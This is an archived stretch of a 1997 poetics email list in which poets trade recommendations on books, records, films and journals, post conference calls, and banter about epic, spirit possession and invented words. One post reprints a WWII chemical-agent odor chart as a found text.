Sat 1 Feb 1997

Don't forget Dustbooks' directories.

Int'l Directory of Little Magazines and Small Presses
Directory of Poetry Publishers

You can find Boston Book Review through the Bookwire site.

Samples of reviews, criticism and poetry at

http://members.aol.com/swmarks/welcome.html

↑ Index

21. **Herb Levy**
Re: hart crane, charlie mingus & sonny rollins
Sat 1 Feb 1997

Sylvester Pollet wrote:

> *went into Paul*
> *Blackburn's poem "Listening to Sonny Rollins at the Five Spot" (CP 316).*
> *That poem tries to catch the way Rollins fragments a melody in a solo, by*
> *fragmenting the lyrics to "There Will Never Be Another You."*
>
> *The set worked pretty well, though I didn't do well by the Five*
> *Spot one--that should be more sung, more melodic than I did it.*

There's a recording of Blackburn reading this on an old Folkways disc (New Jazz Poets Folkways 09751) & he doesn't sing it. He does try to capture some of the rhythmic quality of the song, though.

ANY of the old Folkways recordings can be obtained on cassette from Smithsonian Folkways Mail Order, 414 Hungerford Dr, #444, Rockville, MD 20850, or [redacted] or check the Web site:

<http://www.si.edu/folkways/start.htm>

They have a lot of amazing stuff (not just music and poetry either - Sounds of the Junkyard, Tony Schwartz' great field recordings of New York City, and much more).

Herb Levy
[redacted]

↑ Index

22. **Herb Levy**
Re: Recent Publications, Hebronics, & Neologisms
Sat 1 Feb 1997

Hi Luigi,

Since you sent this to the list, I'll respond here too.

I don't have an address for Tzadik at hand, but the label is distributed by Koch International and should be available at many larger record stores: Tower, HMV, Borders, etc. In the US you can call [redacted].

or there's a Web site

<http://kochint.com/tzadik.html>

As I mentioned to most of the folks who back channelled me on this, if you go to a store, you'll probably get better results if you start out asking about John Zorn's label Tzadik, rather than about Zeena Parkins or Rotwelsch.

As to the review, I probably don't have time, but, Luigi, is TRR branching (sorry) out further into new music now, or is this a one time offer?

Bests

Herb

> *herb--*
>
> *cleanin out the mailbox--do you have an address fr Tzadik? &, asever, if you'd be interested in writing up a short 'view of the disk fr a future TRR, wd be welcomd*
>
> *yr pal*
> *luigi*
>
> *Maria & other list members involved in the various threads refered to in the subject line may be interested in a recent recording by Zeena Parkins that is based, in part, on texts in Rotwelsch, a Yiddish-based argot used by Jewish gangsters Germany from the 14th century into at least the late 19th century.*
>
> *The disc is called "Mouth=Maul=Betrayer" & it's in the often oddly curated Radical Jewish Culture series on the Tzadik label. The two compositions on the disc are Maul, where most of the Rotwelsch is, & Blue Mirror, which deals with Jewish gangsters in the US in the first half of the 20th century. These aren't narrative music theater pieces, so your sense of their use-value may vary.*

Herb Levy
[redacted]

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23. robert drake
Re: Recent Publicactions... & bruce andrews
Sat 1 Feb 1997

> *Hi Luigi,*
>
> *Since you sent this to the list, I'll respond here too.*

aurggh! damnd reply button...

> *... but, Luigi, is TRR branching*
> *(sorry) out further into new music now, or is this a one time offer?*
>
> *Bests*

wea've always been pretty loose, intermedia & audio art etc., anything that has some language component, which doesnt leave out much...

& in that vein--

hadnt seen it mentioned, and bruce andrews still doesnt have email(?), but i got th postcard:

SALLY SILVERS & DANCERS in concert, presented by Dance Theater Workshop w/ original music & sound collage by Bruce Andrews

Feb. 13, 15, 19, & 22, 8:00pm
Bessie Schonberg Theater, 219 W. 19th St, NY NY
reservations: [redacted]

wisht i cd be there...

lbd

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24. Gwyn McVay
happy new year
Sat 1 Feb 1997

Does anyone know the correct tonal pronunciations for "gung hay fat choy"? I'm reading some stuff to some people in a room on Saturday night in DC and I want to welcome them to the new Ox Year but don't want to tell a roomful of people by mistake that their mothers eat army boots, or something. If I were going to do that I'd want to do it on purpose.

Can anyone help?

Gwyn, herself an ox

↑ Index

25. Aldon L. Nielsen
Re: happy new year
Sat 1 Feb 1997

The Baraka story Maria mentioned is titled "The Screamers" -- first collected in _Tales_, subsequently reprinted in _Three Books by Amiri Baraka/LeRoi Jones_ -- and out of print ever since -- hmmmmm

as Maria said, not exactly an instance of spirit possession, but certainly about getting the spirit -- suggest listening to Sun Ra live at Montreaux whilst reading this tale --

new book by a colleague:

An Introduction to Classical Korean Literture
by Kichung Kim
in M.E. Sharpe publishers new series "New Studies in Asian Culture"

lots on poetry here -- available in paperback
ISBN 1-56324-786-0

↑ Index

26. Stephen Cope
Re: Recent Publications, Hebronics, & Neologisms
Sat 1 Feb 1997

The address for Tzadik is:

61 East Eighth Street
Suite 126
New York, NY 10003

I believe they've also released a disc by Ben Goldberg's "New Klezmer Trio," a group based in the Bay Area and composing/performing music similar to Zorn's and Parkins'in its sources, though the outcome differs somewhat. They also, incidentally, released another of Parkins' discs a few years back -- one which I don't have and the title of which I can't recall (though I'm hoping Herb or someone can refresh me here) -- that's absolutely extraordinary. The base material is North African...

-Stephen Cope

↑ Index

27. Stephen Cope
Re: Query: Performance and spirit
Sat 1 Feb 1997

Nathaniel Mackey's recent books -- and particularly the two novels thus far published from the trilogy "From a Broken Bottle Traces of Perfume Still Emanate" -- deal with possession in music (referentially) and in writing (performatively -- the text seems quite possessed at times by the music it invokes). These might also be good sources for some of the Sufi experiences that Mark Weiss mentions...

This may not be exactly the information that was being asked for, but: Would it be going too far to suggest that Jack Spicer's writing by dictation and Hannah Weiner's clairvoyant poems are in some sense texts of possession? (I'm sure there are others who could be included in this question...

Best,

Stephen Cope

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28. Forrest Gander
Click Rose by Dominique Fourcade
Sat 1 Feb 1997

Whoa! what galloping screeching halting turn-on-a-dime and kiss my ass stanzas make up Dominique Fourcade's Click-Rose, new from Sun & Moon, rendered to us American English readers through the hypersensitive alembic of Keith Waldrop's ear. It's a clinodromic booklength sequence. His rose a sthenic, moving target of surprises in syntax diction tone and pulse. Hilarious. And lovely in its inclusiveness of friends, art, history, books, what a rich broth! It's like ladling yourself a bowl of soup and a horse spills out. No, that's a simplifying metaphoric wholesale error: it is roses that spill out, "blatently howling roses." And it is the only rosary I will ever count on to restore my soul. If you ain't yet read it, what an electric/eclectic/clitic pleasure awaits you.

↑ Index

29. George Bowering
Re: Bromige Beat
Sat 1 Feb 1997

> *does that make mr bromige one of those beat poets, he wonders to himself--*

No, he's more like a beat cop than a beat poet., He's a good poet, though. When we are together doing "Investigative Poetry" we play good poet/bad poet.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

30. George Bowering
Re: Query: Performance and spirit
Sat 1 Feb 1997

> *I'm looking for any suggestions (books, essays, manifestos, whatever) re. spirit possession, spirti doctors, getting the spirit, conjuring in connection with performance and the performative. Also essays about spirit possession and subjectivity.*

I have been teaching _Mumbo Jumbo_ since it came out; and recently read Gerald Vizenor's _The Heirs of Columbus_. It would be right up yr alley.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

31. George Bowering
Re: Collapse
Sat 1 Feb 1997

I dont know whether anyone here has mentioned a terrific new mag called _Collapse_. Calling it a magazine isnt doing it justice. It is more than that. The second issue, called "The Verbal and the Visual", has several works on Robin Blaser, including articles by Charles Watts and Charles Berstein. It also includes a CD with the voices of Blaser and Roy Kiyooks.

Address:

1276 26th Ave. West,
Vancouver, B.C., V6H 2A9
Canada

It's dated Dec 1996.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

32. George Bowering
Re: oh, alright (clothing)
Sat 1 Feb 1997

> *Miekal, i'm more of an off-beat poet. George, however, is the reverse. Er, that is, he always claps on the beat. db*

Bromige meant to write "he always clamps on the beet."

Remember, db writes his stuff very late at night, and he lives in wine country. He needs a typist.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

33. Alan Jen Sondheim
Chemscent
Sat 1 Feb 1997

Chemscent, Chemical Warfare List, 1943, General Training Course (Navy)

Sym Name Nick Odor

HS Mustard Hot Stuff Garlic Horseradish M-1 Lewisite Mustard Imitator Geraniums ED Ethyldichlorarsine Enemy's Delight

Biting Stinging PS Chlorpicrin Puking Stuff Flypaper Anise DP Diphosgene Di-Phos Musty Hay CG Phosgene Choky-Gas Green Corn CL Chlorine Chlorine Highly Pungent CN Chloracetophenone Cry Now Apple Blossoms CA Brombenzylcyanide Cry Always Sour Fruit DM Adamsite Dirty Mixture Coal Smoke DA Diphenylchlorarsine Dopey Ache Shoe Polish HC HC Mixture Harmless Cloud Sharp-Acrid FS Sulphur Trioxide Fuming Spray Burning Matches FM Titanium Tetrachloride Floating Mantle Acrid WP White Phosophorous White Phos Burning Matches TH Thermit The Heat Odorless

Do not smell deeply, Sniff only one, First smell, then think, Every perception of odor must be named, Breathe out strongly, Do not smoke while smelling.

↑ Index

34. **dbkk**

Re: Collapse

Sat 1 Feb 1997

It's Kevin Killian. I second the recommendation by George Bowering is "Collapse 2, The Verbal and the Visual." It's really fine from cover to cover. Besides the features on Blaser and Kiyooka, there's a long article on Emily Carr (a transcript of a round table discussion by many eminent Carr scholars); as well as an interesting never before printed manifesto by Robert Smithson.

However I should point out one error . . . in the section about Blaser I am given the credit for bringing the Helen Adam collages from Buffalo to Vancouver in 1995. This credit belongs to the poet Kristin Prevallet. I'm sorry, Kristin! This seems to be happening to you all the time! This wasn't my fault either! (The coffee table book "Women of the Beat Generation" by Brenda Knight has a lengthy account of Helen Adam almost entirely lifted from Prevallet's pioneering research into Adam's life and work, yet signed by Knight.) More on this later. In the meantime, order "Collapse."

> *I dont know whether anyone here has mentioned a terrific new mag called _Collapse_. Calling it a magazine isnt doing it justice. It is more than that. The second issue, called "The Verbal and the Visual", has several works on Robin Blaser, including articles by Charles Watts and Charles Berstein. It also includes a CD with the voices of Blaser and Roy Kiyooks.*

↑ Index

35. **dbkk**
Re: Click Rose by Dominique Fourcade
Sun 2 Feb 1997

At 8:02 PM -0500 2/1/97, Forrest Gander wrote:
> Whoa! what galloping screeching halting turn-on-a-dime and kiss my ass
>stanzas make up Dominique Fourcade's Click-Rose, new from Sun & Moon,
>rendered to us American English readers through the hypersensitive alembic of
>Keith Waldrop's ear. It's a clinodromic booklength sequence. His rose a
>sthenic, moving target of surprises in syntax diction tone and pulse.
> Hilarious. And lovely in its inclusiveness of friends, art, history, books,
>what a rich broth!

Fourcade's fans will also want to read "Compact pour Claude," his lengthy catalogue essay printed at the end of "Laque sur Polaroid," the collection of Claude Royet-Journoud's painted-over photographs (Michel Chandleigne, 1996). The photographs themselves are quite startling, anatomical close-ups of a vagina in the Hustler style. L'Etat vs. Larry Flynt. I was so impressed by "Laque sur Polaroid" that I wrote to Paris and offered Royet-Journoud the use of my own genitals for a sequel. He demurred. Pourquoi pas?

Kevin Killian
http://www.multicom.org/gerbil/kkill.htm

↑ Index

36. **KENT JOHNSON**
gold bug
Sun 2 Feb 1997

There's been some mention of Richard Power's mind-boggling _The Gold Bug Variations_ in the past few weeks. I have what I think is an interesting anecdote.

I've begun reading Shawn Rosenheim's _The Cryptographic Imagination: Secret Writing from Edgar Poe to the Internet_, and Rosenheim discusses Powers's book in the introduction. Apparently, *** Beadle (can't recall his first name), the non-fictional winner of the 1958 Nobel Prize for his research in genetics, enters the novel at a key point in the story, when Jan O'Deigh learns about an (actual) encrypted letter sent to Beadle by Max Delbruck. The letter leads to a kind of epiphany for O'Deigh, which Rosenheim describes as a key moment in the novel (as you can see, I haven't read it, though I have read _Galatea 2.2_, which makes me certain that Powers is from another planet).

Anyway, here's my anecdote: Beadle's grandson, John, was my roommate in Milwaukee for three or four years in the 70's when the two of us were working as freight car mechanics on the now defunct Milwaukee Road and, as members of the Socialist Worker's Party, trying to win over rail workers to the principles of revolutionary Marxism. We weren't very successful at this.

John's mother, Joyce, had a Master's in Spanish Literature, and when she died about three years ago, John called to ask if I would like to have all of her old Spanish lit books. I said sure, and I soon received three boxes of (mostly) diligently notated paperbacks, with stuff ranging from Gongora and San Juan de la Cruz, to Vallejo and Neruda. About a week ago, I went down to the boxes in the basement and pulled out a '65 Dell _Lorca: Obras Escogidas_ and, opening it, found a short and undated holograph letter from the geneticist Beadle to his daughter. At the end of the letter Beadle writes the following: "And thank you for the beautiful old edition of Poe! Reading him again, I am as delighted and riddled as I was when I first discovered, at 15, 'The Gold Bug' and 'The Murders in the Rue Morgue.' Poe is full of secrets, and my guess is that most readers have no idea what he's _really_ up to. Let me know when you get news on the application. love, Dad."

I'm going to be going down and going through everything in the boxes! Maybe there's more.

Kent

↑ Index

37. Mark Weiss
Re: Performance and Spirit
Sun 2 Feb 1997

Thinking about poetry and possession brought to mind poor Yeats in the classroom, realizing that, despite the watchful eyes of the nuns and his desperate desire to behave properly, he is falling into a sexual revery about a little girl. And suddenly he gives into the revery and finds himself transported to a brutal figuration of generativity and destructiveness, of the erotic refusing to be tamed to the appropriate. The life built by the public man can be torn apart in a second, and the whole world with it. It's Red Hanrahan, the hero of his early stories, being carried off by the fairies all over again, the victim of their inhuman purity of impulse. And where does that leave you?

I don't know if all poetry is a form of possession, but I think it is, even the set-pieces of the Augustans. There's the sense that no matter how we try to train ourselves we can become at best receptive--the poem seems to come when it wants to and to leave when it wants to, unless we try to constrain it to our preconceptions, in which case we certainly lose it. And it's no respecter of

occasions, so that those who have the weakness or good fortune to be on the receiving end often find themselves less than well-fitted to the time-constrained, appropriate world.

I don't for a minute think that we relinquish choice in the moment of possession--I'm not sure how completely humans ever do. For one thing, the field in which our possessed selves operates is the field we bring to the experience. And the momentary changes and impulses are directed, by what comes before, but also by the changes in a chemistry whose stability is always fragile. We learn, we enlarge the field, but it's still the field, and the physiology, we brought to the game.

Even when we sleep we make choices. On the crudest level, it's no accident that Freudians have Freudian dreams, Jungians have Jungian dreams, and Pharaohs dream about sheaves of corn. What we relinquish is the conscious awareness and direction of choice.

Rituals, whether it's parlor-game tarot readings or the I Ching or the more serious committment of the otherwise decorous old woman in a NY or Havana barrio who becomes the horse of Shango and insists on throwing up her skirts to show the crowd how much bigger her cock is than theirs, are about choices faced in what Van Gennep called a liminal or marginal state--between statuses, in transition from known to knowable, a place without rules. The known and the knowable are always under seige, because it's not so much that we're on occasion in a stable place as that the rate of change slows down. Change is the constant. The poem is situated in that awareness, and to the extent that we have the courage to stay there it inhabits the liminal, which is by its nature formless. And the poem grounds itself in the particular because that's all there is to hold onto, and the only clues offered.

It's the willful relinquishing of resistance to liminality. And it differs from the ritual practice of possession because, unlike the ritual, which, if done properly, always brings the participant out the other end (imagery of rebirth is inevitable her)it has no preordained pattern, no liferope, no social structures surrounding it that announce when the participant has reached the new place and what place that is.

This sounds like the fugue state of psychosis, but in fact the crazy rarely will themselves to relinquish the inhibitions to behaviors seen as crazy and to the internal states that drive those behaviors. They really know that they may not be able to come back. I once asked a group of for-the-moment stable schizophrenics about a fantasy. They exchanged a few panicy glances and then assured me, one after the other, in the manner of well-behaved school-children, that they didn't have fantasies.

Somewhere the poet has the sense that there's an internal structure to escape to when the game gets too wild, and it's that faith that gives him the courage to dive in when he's able. Yeats, for instance, knows that he's not about to throw himself on that little girl, although he may allow himself to court the danger. The internalized self-definition as Poet, which contains within it the privilege to depart from the everyday to bring back news from the margins, is a part of that structure.

That's as far as I can rant tonight. Prednizone does loosen the tongue, but it doesn't grant much staying power. Not my drug of choice.

↑ Index

38. Bil Brown

Re: notley, epic

Sun 2 Feb 1997

> *i'm teaching notley's _descent of alette_, _homer's art_, and want to set*
> *against these a film that explores the epic, specifically in regards to*
> *gender, power structures, war. there are plenty of films dealing w*
> *war-epic (viet nam) via male perspectives. but female? and not necessarily*
> *"war" films, but films that figure gender as instrument of epic vision.*
> *feel free to back channel.*
> *best,*
> *dan featherston*

Why not teach Anne Waldman's IOVIS as well. A GREAT feminine epic...

Bil Brown

↑ Index

39. Kathleen Crown

Re: POETICS Digest - 31 Jan 1997 to 1 Feb 1997

Sun 2 Feb 1997

Hi Julie: On the spirit possession thread: Felicitas Goodman, Speaking in Tongues: A Cross-Cultural Study of Glossolalia, and Ecstasy, Ritual, and Alternate Reality. Also Marghanita Laski, Ecstasy, and any work by Erika Bourguignon. And I second the reference to Nathaniel Mackey, whose communications with the Angel of Dust perform/theorize spirit possession. See Pedro Pietri's work, too. The "History & Ecstatic Speech" special session I organized at the MLA followed through some threads from Susan Stewart's "Lyric Possession" (in a recent Critical Inquiry) and Nicolas Abraham's work on transgenerational haunting. Houston Baker & Mae Henderson have done interesting work on conjuring, tongue speaking. --Kathy Crown --

↑ Index

40. Miekal And
EPIC
Sun 2 Feb 1997

---

oh oh mr B,

somebody said that word "epic"

its gonna get me aroused

miekal

↑ Index

41. maria damon
Re: POETICS Digest - 31 Jan 1997 to 1 Feb 1997
Sun 2 Feb 1997

---

kathy and julie: it seems that you're both working with similar paradigms of 'inspiration," etc, but in different arenas: kathy in high modern/postmodernist poetry, julie on the popular front. how exciting that your work is complementary. maybe put together a coupla panels for our Xcp conference? or future mla panels? this stuff is great, tres hot, and you both deserve a lot of support and encouragement! maria d

In message <[redacted]> UB Poetics discussion group
writes:
> Hi Julie: On the spirit possession thread: Felicitas Goodman, Speaking in
> Tongues: A Cross-Cultural Study of Glossolalia, and Ecstasy, Ritual, and
> Alternate Reality. Also Marghanita Laski, Ecstasy, and any work by Erika
> Bourguignon. And I second the reference to Nathaniel Mackey, whose
> communications with the Angel of Dust perform/theorize spirit possession.
> See Pedro Pietri's work, too. The "History & Ecstatic Speech" special
> session
> I organized at the MLA followed through some threads from Susan Stewart's
> "Lyric Possession" (in a recent Critical Inquiry) and Nicolas Abraham's work
> on
> transgenerational haunting. Houston Baker & Mae Henderson have done
> interesting
> work on conjuring, tongue speaking. --Kathy Crown
> --
>

↑ Index

42. Aldon L. Nielsen
Re: Query: Performance and spirit
Sun 2 Feb 1997

Heirs of Columbus is a great novel -- have taught it ever since first reading it some years ago -- would also point readers towards Vizenor's book of essays titled _Manifest Manners_ -- which has much of interest to say about recent appropriations of American Indian spirituality (and lots of other stuff besides) --

Am using _The Vizenor Reader_ in a class this semester -- it's OK, and represents his work in fiction and essays as well (& includes hunks of his autobiography) -- but find the individual novels and essay books more satisfying -- (perhaps this is just BECAUSE I've read the books excerpted in the READER and am thus less happy with less of the text?!)

Gerald Vizenor used to write more poetry too -- but the prose works are actually more poetic than his haiku in my opinion

↑ Index

43. robert drake
Re: EYE-RHYMES (forward
Sun 2 Feb 1997

this was posted here, back in november, but it looks like they've extended th deadline, & also added some exhibition opportunities, so:

> *EYERHYMES*EYERHYMES*EYERHYMES*EYERHYMES*EYERHYMES*EYERHYMES*EYERHYMES*
>
> *12 to 16 June 1997*
> *a multi-disciplinary, international conference on Visual Poetry*
> *at the University of Alberta, Edmonton, Canada*
>
> *mailing address:*
> *Canadian Institute of Ukrainian Studies*
> *352 Athabasca Hall*
> *University of Alberta*
> *Edmonton, Canada T6G 2E8*
> *tel:* [redacted]
> *fax: (403eyerhymes conference*
> *e-mail:* [redacted]
> *website: http://www.ualberta.ca/~eyerhyme/*
>
> *the preparation for wahat has been called the visual poetry event of the*
> *century are progressing nicely so i thought the members of this list would*
> *like an update and possible there are some poetic wordsmiths amoung us who*
> *might what to contribute or even be brave enough to travel north or/and*

east or west to the frozen prairies of sunny alberta in the (almost) rocky mountains.
looking forward to seeing some of you, or at least your work
peter bartl
at the University of Alberta, Edmonton, Canada

Call for papers and proposals

The organizers invite proposals for papers dealing with various aspects of the historical and contemporary interface between literature and the visual arts.

Some of the topics include:

- Technopaignia and the Classical Tradition;
- Pattern Poetry, Heraldic Art and Visual Forms of Baroque Writing;
- Futurism, Constructivism, Dada;
- Concrete Poetry;
- Artist's Books;
- Visual Essays (such as those by Wyndham Lewis and Marshall McLuhan);
- Advertising and Poster Art;
- Calligraphy, Fraktur and Typewriter Art;
- Hieroglyphic, Ideographic and Pictographic Languages;
- The Impact of Print Technologies, Typefaces and=
Computer Graphics on Literature;
- Textual Elements in Painting;
- Work in New Media & Digital and Holographic Poetry;
- Collectors and Collections;
- Creative Dialogues Between Poets and Painters;
- Poetics of the Written Word.

Papers may be submitted for oral/audio-visual presentation, or for display in the "poster" format used at scientific conferences. In that case, the texts and commentaries should be printed on separate sheets that can be easily mounted on partitions 4 by 5 feet (1.2 by 1.5 meters). Submissions of such "poster" papers will be accepted from individuals unable to attend the conference in person, as well as participants who wish to forgo reading their presentations. These "posters" will be available for viewing during the conference, and will constitute part of its proceedings.

Sessions will be organized according to themes or periods, and suggestions are welcome for both potential speakers and topics for discussion.
Eye Rhymes is open to presentations made in other media. The organizers are especially interested in soliciting papers dealing with Canadian visual poetry, as well as obtaining proposals from creative practitioners.

Abstracts should be no more than 300 words, and must be accompanied by a

one page resume covering relevant biographical and professional details. Twenty minutes will be allowed for each oral presentation, though written versions of papers may be longer.

Please indicate if you would require financial assistance to attend the conference, or if your participation would be contingent upon your ability to arrange financing from non-conference sources.

Although the program is firming up, we are still eager to hear interesting ideas for presentations.

Provide all of your communication co-ordinates on a separate sheet: name, complete mailing address, phone numbers (office and residence), fax number and e-mail.

A creative component will accompany the conference, with exhibitions, performances, and panel discussions involving visual poets. The working language of Eye Rhymes will be English. Additional information, concerning publication and other details, will be provided in future communications.

Exhibitions: call for entries
"ImageNations" and "Cantextualities"
---

mailing address:
Department of Art and Design
3-98 Fine Arts Building
University of Alberta
Edmonton, Canada T6G 2C9
tel: [redacted]
fax: [redacted]
e-mail: [redacted]
website: http://www.ualberta.ca/~eyerhyme/

The organizers invite you to submit entries for two juried international exhibitions, that
will run in conjunction with the Eye Rhymes conference, which deals with the contemporary interface between literature and the visual arts.

Entries are welcome from individuals unable to attend the conference in person, as well as from participants. The two exhibitions, ImageNations and Cantextualities, will take place at the Fine Arts Building (FAB) Gallery at the University of Alberta and at Latitude 53 Gallery in downtown Edmonton.

The exhibitions will be organized according to themes or periods.
The organizers are especially interested in entries dealing with Canadian

> *visual poetry, as well as works by creative practitioners.*
>
> *Entries of two- or three-dimensional work should be submitted in the form of proofs or 35 mm slides and be accompanied by a written explanation of approximately 50 words in length for each entry. Only accepted entrants will be notified. Slides can be returned only if an envelope with a return address is enclosed with the submission.*
>
> *Accepted entries must be accompanied by a one page resume covering relevant biographical and professional details.*
>
> *Provide your name, complete mailing address, phone numbers (office and residence), fax number, and your e-mail address on a separate sheet.*
>
> *Please send entries to the above address by 28 February 1997. Actual works will be required by 1 May 1997.*
>
> *Please direct Eyerhymes exhibitions inquiries to Peter Bartl + Susan Colberg at the above address/fax/phone.*
>
> ---
> *sponsored by:*
> *the Faculty of Arts*
> *the Department of Art and Design*
> *the Department of English*
> *the Department of Modern Languages and Comparative Studies*
> *the Bruce Peel Special Collections Library*
> *the Canadian Institute of Ukrainian Studies*
>
> *Please circulate this proposal*
> *university of alberta*

↑ Index

44. Miekal And

Re: EPIC

Sun 2 Feb 1997

E P I C

...as in,
 this list...
 is to me a cyber hybrid of an epic, co-written, in real time, complete with footnotes, commentary, local color, controversy, & even a little bit of poetry,

the attention we maintain as we interact

just a bit of noctural aftershave

Miekal

unshaven but incredulous

↑ Index

45. Miekal And
MUTILATE THIS THREAD: Re: gun controls
Sun 2 Feb 1997

[redacted] wrote:
>
> M. And wrote:
>
> >... remove them. Either their owners pay a fine or give up their
> >handgun; and prevent, stop the sale. Just remove handguns from
> >all markets, from all use....
>
> Gun laws in Tasmania have tightened post-Port Arthur. But here the new
> restrictions can largely be by-passed by applying for a $5
> authorisation to shoot on both private and government-owned forest
> property. Its a welcome return to sanity, say gun owners. It's a back
> door to by-passing the new regulations, argues the Green movement.
>
> Part of my job is issuing the authorities to shoot. A chap signing the
> form last week could barely control his pen. "The bunnies'll be safe
> from you" I joked. Others simply want to preserve family heirlooms.
> "It's for a .303, it was my fathers', I'll never go shooting but I
> don't want to lose it" is a typical response.

what the hell is this, Ive never made a statement about guns in my life, at least not on a list, & why is someone from the forestry department posting to the poetics, sounds like an act of intermedia terrorism....

miekal

who wonders "WHY ME?"

↑ Index

46. Ward Tietz
Address Query
Sun 2 Feb 1997

Would anyone happen to have an e-mail or postal address for Kathy Acker?

Thanks,

Ward Tietz

↑ Index

47. Miekal And
Re: MUTILATE THIS THREAD: Re: gun controls
Sun 2 Feb 1997

Alan Jen Sondheim wrote:
>
> I've argued long and hard for the possession of personal nuclear weapons.
> New technology with red mercury makes this possible - baseball-sized dirty
> limited range bombs to stop them from coming "over the hill." These would
> replace the Davey Crockett small atomic arms, basketball sized, heavy, and
> extremely difficult to hide.

Personally poetic terrorism is about as violent as I get--

> *Perhaps the epic desire for epic is escalating the arms race.*
>
> *Perhaps not.*

let's recall for one brief moment the forgotten words of one the grand guiginols of Zaum, Alexei Kruchenykh who was recorded as proclaiming a revolutionary need for to:

"REMEMBER VIOLENT NON-OBJECTIVITY"

The charm remains.

We just need to keep rehearsing our lines.

Miekal

↑ Index

48. Miekal And
Re: Neologism
Sun 2 Feb 1997

Mark Weiss wrote:
>
> shruburbia

mark:

write the definition(s) & I'll stick it in our dictionary. Offer goes to everyone out there in poeticsland, they can also be emailed to me backchannel ifn yr too shy to show 'em off.

think Im exceeded my daily post quota, I'll shut up now...

miekal

↑ Index

49. **main**
notley, epic
Sun 2 Feb 1997

---

i'm teaching notley's _descent of alette_, _homer's art_, and want to set against these a film that explores the epic, specifically in regards to gender, power structures, war. there are plenty of films dealing w war-epic (viet nam) via male perspectives. but female? and not necessarily "war" films, but films that figure gender as instrument of epic vision. feel free to back channel. best, dan feather-ston

↑ Index

50. **Miekal And**
perogatively
Sun 2 Feb 1997

---

david:

have you written your epic yet, or are you too old for that kinda thing?

assortedly

miekal

↑ Index

51. **Mark Roberts**
AWOL: ars poetica magazine and competition (Forwarded)
Sun 2 Feb 1997

The following information has been posted by AWOL on behalf of ars poetica magazine. Please address any questions to ars poetica at the address below.

.....

ARS POETICA Volume 3 now available
$7 per copy or $20 subscription
Now seeking contributions for volume 4
Closing date 20 February 1997
ars poetica
PO Box 455

Bairnsdale
Vic Australia 3875

ARS POTICA INAUGURAL POETRY COMPETITION
To be judged by Catherine Bateson
1st Prize $500
2nd Prize $200
3rd Prize $100
For entry form send SSAE to:
ars poetica
PO Box 455
Bairnsdale
Vic Australia 3875
Closing date 20 February 1997

All $ are Australian.

.....

AWOL
Australian Writing On Line
[redacted]
http://www.ozemail.com.au/~awol
PO Box 333 Concord NSW 2137 Australia
Phone 61 2 7475667, Mobile 015063970
Fax 61 2 7472802

Mark Roberts
Student Systems Project Officer
& User Representative SIS Team.
Information Systems
University of Sydney NSW 2006 Australia
Phone 93517710
Mobile 015063970
Fax (02) 9351 7711

↑ Index

52. **DS**
Re: notley, epic
Sun 2 Feb 1997

---

there is the bad 'desert storm' film with Meg Ryan as hero (in) Courage Under Fire. Also 'Beyond Rangoon' with one of the arquette sisters in Burma - has the recent Burmese international media star whose name elludes me right now... Or the Alien films - i realise these amy not exactly be epic - but Beyond Rangoon at

least follows the ol' hero's journey (not very well i admit). Perhaps also interesting is Hearts of Darkness the Making of Apocolypse Now which was shot by Copolla's wife - a lot of her work is comment on life as the hero's wife - makes a nice contrast. & I haven't seen the new Evita but... ? & i haven't seen the euro pic set in 'Nam with Deneuve can't remember the name either sorry , butsomeone may know if this is worthwhile. Jan Schwankmeir's (sp?) Alice (from alice in wonderland) very much agendas gender vision, so too i guess would the wizard of Oz but i am babbling so i will stop,.

dan

also Nikita - read made as 'the assassin' i think, with brigit fonda, about a female assassin. There are also heaps of Indian & Chinese films that 'use' a woman's perspective to entertain audiences in epic surroundings.

At 02:43 PM 2/2/97 -0700, you wrote:
>i'm teaching notley's _descent of alette_, _homer's art_, and want to set
>against these a film that explores the epic, specifically in regards to
>gender, power structures, war. there are plenty of films dealing w
>war-epic (viet nam) via male perspectives. but female? and not necessarily
>"war" films, but films that figure gender as instrument of epic vision.
>feel free to back channel.
>best,
>dan featherston
>
>

↑ Index

53. **robert drake**
Re: Address Query
Sun 2 Feb 1997

> *Would anyone happen to have an e-mail or postal address for Kathy Acker?*

try: [redacted]

↑ Index

54. **David R. Israel**
Re: notley, epic / (Bandit Queen?)
Sun 2 Feb 1997

On Mon, 3 Feb 1997 12:10:51 +1300,
dpsalmon wrote --

> *. . . There are also heaps of Indian & Chinese films that 'use'*
> *a woman's perspective to entertain audiences in epic surroundings.*
>
> *At 02:43 PM 2/2/97 -0700, you wrote:*
> *i'm teaching notley's _descent of alette_, _homer's art_, and want to set*
> *against these a film that explores the epic, specifically in regards to*
> *gender, power structures, war. . . .*
> *films that figure gender as instrument of epic vision. . . .*
> *dan featherston*

Dan --

the rather recent, lovely film BANDIT QUEEN comes to mind as one to consider -- not all too sure abt. female perspective in that per se, would need to see it again -- also, as for epic? hmmm, certainly an action film w/ some epic dimension (not to mention killer music) --

the film, as you perhaps know, is based on the real-life tale of Phoolan Devi, who became a popular Bonnie w/o Clyde sorta bandit-heroine in local mythology of 1980s Maharashtra, India (before she was captured & jailed, as depicted in the film). Her violent & sexual mistreatment in early life -- and her "heroic struggle" against both gender and caste strictures -- to become (as noted) a kind of queen of the bandits -- are all integral to the tale --

d.i.

↑ Index

55. Miekal And
Re: definitions
Sun 2 Feb 1997

David Bromige wrote:
>
> Shrure i'm shritin my epic. Shts shcald 'Esh Azh R' shro eckshpek mosh
> shwerdz shoo begin widj esh azh r. Shet in shruburbia, shapperently
> conshernz shnuthin,but shcode-breakersh sjin fucshia warrjh shmay well
> shpeak of jhdzeir shdett of zzhrattishood to jzish shraga of shmale
> shrimulashn at zzhee shreoicisht heighshs.

are you quoting Abraham Lincoln Gillespe again? allusions more obscure than Lb?

m
well past my dreamtime

↑ Index

56. David Bromige
definitions
Sun 2 Feb 1997

i've shred it before n i'll shray it again: shruburbia's shrokay. shkwiat n eshrafe. eshralienated shust aszh shrennywhere elsh. ekshep zwhen zhu shrink eshtolly wizj palzh athshloon. shoonererlatr tho yukon blone gen. Shrokay.

↑ Index

